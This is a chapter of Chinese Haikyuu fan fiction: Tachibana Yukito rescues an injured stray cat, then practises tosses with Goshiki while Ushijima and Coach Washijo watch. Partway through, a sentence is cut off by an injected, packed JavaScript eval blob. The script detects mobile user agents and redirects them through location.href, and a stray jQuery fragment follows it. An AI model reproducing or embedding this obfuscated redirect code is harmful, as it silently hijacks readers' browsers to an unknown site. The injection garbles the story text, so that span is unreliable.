很累,不想爱了,也不想劳动了。[1]
立花雪兔在校园里漫无目的地滑着滑板,暖风吹得人头疼。
这短短十五年的人生简直和老头子犯冲。立花雪兔愤愤地想。以前爷爷偏心哥哥,现在外公也不喜欢他,来了一个老头子教练,竟然还是针对他!
太坏了太坏了太坏了,准备拿眼睛去瞪。
胳膊上的撒隆巴斯已经贴了一整天,立花雪兔蹲在路沿上撕膏药,痛得呲牙咧嘴,忽然有人在身后叫他。
“立花学弟?”
立花雪兔回头一看,是演剧部的副部长,千夏学姐。
千夏也是一位YouTuber,和立花雪兔在开学前就互关了。她长得非常美丽,虽然才二年级,就已经有很多杂志和广告的通告邀约,听说签了一家东京的经纪公司,毕业之后就会直接进行演艺工作。
“现在不是部团活动时间吗?你怎么还在晃荡。”千夏笑嘻嘻地问,“是不是终于想通了,想要加入我们演剧部啊?”
“学姐,都说了我对演戏什么的真的完全不懂啊……”
“你只要顶着这张脸就可以了。”
“脸只是入场券吧。”立花雪兔闷闷地说,“最后大家还是会倾向有实力的、努力的,或者性格好的吧。”
漂亮是一种天赋吗?
有令人心生亲近的美丽,也有令人敬而远之甚至嫌恶的美丽。在谈及“美丽”作为天赋的时候,大家其实指的都是前一种。所以倒不如说,讨人喜欢才是天赋。
可惜,他似乎没有这种天赋。
他的漂亮,在众人眼里近乎于轻浮。所有人都觉得这样的他,总能轻易地得到世间的任何东西。
既没有实力,也并不努力。
所以会被讨厌。
“立花学弟很讨人喜欢啊,至少我是这样觉得的。”千夏虽然不知道为什么,却也发现了他情绪低落,便转而问,“对了,你有没有在这附近有看见一只猫啊?”
“什么猫?”立花雪兔果然有些精神了。
“我给你找找。”
千夏翻出手机相册给他看。一只标准的狸花猫,长得凶神恶煞,油光水滑,把自己养得很好,一看就是这附近的恶霸,却被千夏叫作“咪咪”。
“没看见诶。”
“它每天这个时候都会在这附近的,不知道为什么今天没来,我有点担心。”千夏苦恼地说,“但是我该回社团了,今天必须要安排开学大戏的工作。”
“把照片发给我,我来找吧。”立花雪兔说。
“真的吗?太好了!”千夏把包里的猫条交给他,“找到了就和我说一声,这个是它爱吃的。”
“好,交给我吧。”
千夏朝他挥挥手,跑出几步,又转身。
“立花学弟,如果你来演剧部的话,可以直接上开学大戏哦!”
“谢谢学姐。”立花雪兔笑了笑,“我会慎重考虑的。”
“不需要太慎重啦,脑子一热就来了也可以的,这就是所谓的青春啊。”千夏板着脸故作老成,很快又笑了,“好了我要赶紧走了,立花学弟,咪咪就拜托你了。”
*
立花雪兔拿着手机循环播放了一个据说可以找猫的视频,踩着滑板在校园里穿梭,心里不免也有点低落。
千夏学姐说,不需要太慎重,可以脑子一热。
……可是,不管是慎重考虑,还是一股脑的冲动,他都想去排球部。
很想很想,非常想非常想,想去得不得了。
立花雪兔叹了口气,这时却忽然听见,从垃圾桶旁边堆放的纸箱里,传来一阵窸窸窣窣的响动。
立花雪兔:“!”
立花雪兔:“是你吗?咪咪?”
他小心翼翼地钻到纸箱堆里,果不其然,与一张凶神恶煞的胖脸对上了。
恶霸狸花原本听见了同类的叫声,却不想钻出来一个人类,感到自己被耍了,皱着脸不断地对立花雪兔哈气。
“吃饭,咪咪。”立花雪兔赶紧把千夏给的猫条拿出来。
咪咪安静了。
立花雪兔一边喂它,一边录像发给千夏。他的手机上挂着chiikawa三小只的吊坠,哗啦哗啦就像逗猫棒。咪咪连最爱的猫条都不吃了,伸出两只前爪去扑吊坠,非常标准的姿势。
“耶,你还会拦网呢?”立花雪兔笑着逗它,“你不要叫咪咪了,我叫你Block[2]好不好?”
立花雪兔把手机举高了一点,Block站起来一扑,他才发现不对劲。
它盘踞的纸箱里,有一滩干涸的血迹。
它的后腿上有伤。
怪不得藏在这里。
“Block,来,出来一点。”立花雪兔轻声哄它,把猫条往外拿了一些。
“喵喵?”Block对新名字接受良好,拖着后腿往外挪了几步。
……看起来有点严重啊。
立花雪兔脱下制服外套,趁Block不备,将它裹成了一个猫猫卷。穷兵黩武的狸花猫自然不可能受制于人,立花雪兔被它蹬了好几脚,幸好他在家与算盘的斗争经验也算丰富,好歹没被挠到。
他将Block抱在怀里,用谷歌地图搜了一个最近的宠物医院,踩上滑板就跑了。
*
“被电动车撞到了。”宠物医生说,“骨折了,不过不是很严重。这是流浪猫吧?做完手术之后最好还是住院。”
“嗯。”立花雪兔点点头,“治疗吧,我会付钱的。拜托顺便把它的蛋拆了。”
医生笑着说流浪猫赠送拆蛋,就去准备手术了。
立花雪兔付了检查和手术的费用,就在旁边的便利店里等它手术结束,顺便告诉了千夏目前的情况和宠物医院的地址。
今天晚上家里没有他的晚饭。
对外公说的是和社团的前辈一起吃饭……算了。
立花雪兔买了一份关东煮,看见货架上的美乃滋,想到五色工早上的许愿,也拿了一瓶。
虽然家里的菜也不太合胃口,规矩又多,但总还算是有人陪着。一个人坐在临窗的位置上吃着关东煮,只能是味同嚼蜡。
千夏很快就回消息了。
一等星:
【怎么会这样!!!咪咪(T_T)】
【辛苦你了立花学弟,手术大概要多久啊?】
狂乱木曜日:
【医生说一小时左右。】
一等星:
【好,等下我和演剧部的几个朋友就去看它,咪咪是一直是我们一起投喂的。费用我们也平摊给你。】
狂乱木曜日:
【没关系啦。】
一等星:
【要给的。不然你现在就回学校一趟?】
狂乱木曜日:
【好吧。】
*
和千夏等人约在了操场上碰面,演剧部的学姐个个都长得很漂亮,一看见立花雪兔全围过来揉他的脑袋。
“千夏说立花学弟很可爱,果然很可爱呢!”
“真的不来演剧部吗,好遗憾啊……”
“今天辛苦学弟了,这是我们买的小蛋糕,送给你的。”
“谢谢学姐们。”立花雪兔被她们揉得一头乱蓬蓬的。
“那我们去就看咪咪啦。”千夏说。
已经是部团活动结束的时间了,操场上成群结队的人离开校园。排球馆里,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380215|168436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也有人三三两两地走了出来。
结束第一天的训练,五色工一边收拾东西,一边给立花雪兔发消息。
“阿工,你不走吗?”
“嗯嗯,天童前辈,你们先走吧。”五色工说。
五色工抓耳挠腮地措辞了半天,排球馆的人都走光了,他才发出了一条消息。
白鸟泽未来王牌:
【你还好吧?】
消息提示的声音在他身后响起。
五色工:“?”
五色工:“你你你……”
“怎么了。”立花雪兔换了运动服,随口问,“昨天说的一百个托球,你还要不要了?”
五色工震惊:“诶,但但但但是……”
立花雪兔转身:“不要就算了。”
“要!我要!拜托了!”
*
与旁人不同,牛岛若利结束训练之后,习惯在排球馆洗了澡、换了干净的衣服,再去吃饭。
从浴室出来,他忽然听见本该无人的场地里,还传来了排球大力砸在地上的声音。
牛岛若利向场地走去。
雪白灯光下,少年专注地托球,一个接着一个。
那身影和童年时的遥远记忆重合。
只是在旁边扣球的,并不是他了。
立花雪兔不顾胳膊上淤青的酸痛,只盯着半空中旋转又落下的球,心想:
不是有天赋的人,也不是有实力的人。
但是至少,他还可以做一个努力的人。
“哇!太痛快了——”五色工击落最后一个托球,眼睛亮晶晶的,“雪兔!你明天也来给我加练行不行!”
“行啊。”立花雪兔问,“但我想知道,我和白布前辈的托球有什么不一样?”
“白布前辈的托球,很自然。”五色工想了想,“球会理所当然地出现在攻手想要的任何地方,就像什么必然的定律一样。但你的托球,带着你自己的想法,是你在球场上的瞬间得出的最优解。”
立花雪兔没听懂,有一瞬间的茫然。
“简单来说,就是配合攻手的托球,和攻手配合你的托球吧。”五色工说,“不过我觉得你也不用追求白布前辈的托球方式,因为人和人就是不一样的的。就像我,也会用自己的方式打败牛岛前辈。”
立花雪兔:“……”
但是如果我做不到的话,要怎么样才能留在这里?
像以前一样,继续待在他身边。
在立花雪兔不知道的时刻里,牛岛若利站在阴影里,看了他很久。
但他现在还不清楚,这样沉默的、无人知晓的、计划之外的时刻,对自己来说究竟意味着什么。
就像立花雪兔也不知道,为什么每一次看向牛岛若利的时候,总能准确无误地对上那一双褐绿色的眼睛。
球馆里,少年准备离开了。
牛岛若利也终于收回了视线,沉默地转身离去。
“若利。”
老者的声音在背后响起。
“鹫匠教练?”牛岛若利微微惊讶,“您……”
“我来找你。”鹫匠教练说,“U19的名单正式确定了,集训时间在八月份。”
牛岛若利点头。入选U19,在他的意料之内。
但是此刻,有一件意料之外的事情,反常地牵动着他的心。
牛岛若利顿了顿:“您也看见了……”
“我看见了,但我不准备改变我的看法。白鸟泽排球部不要一时冲动的人,也不要抱着‘随便玩玩’的心态的人。我怎么看都觉得,立花雪兔正是这两种人。”鹫匠教练说。
“鹫匠教练,”牛岛若利忽然认真地说,“我和您打个赌吧。”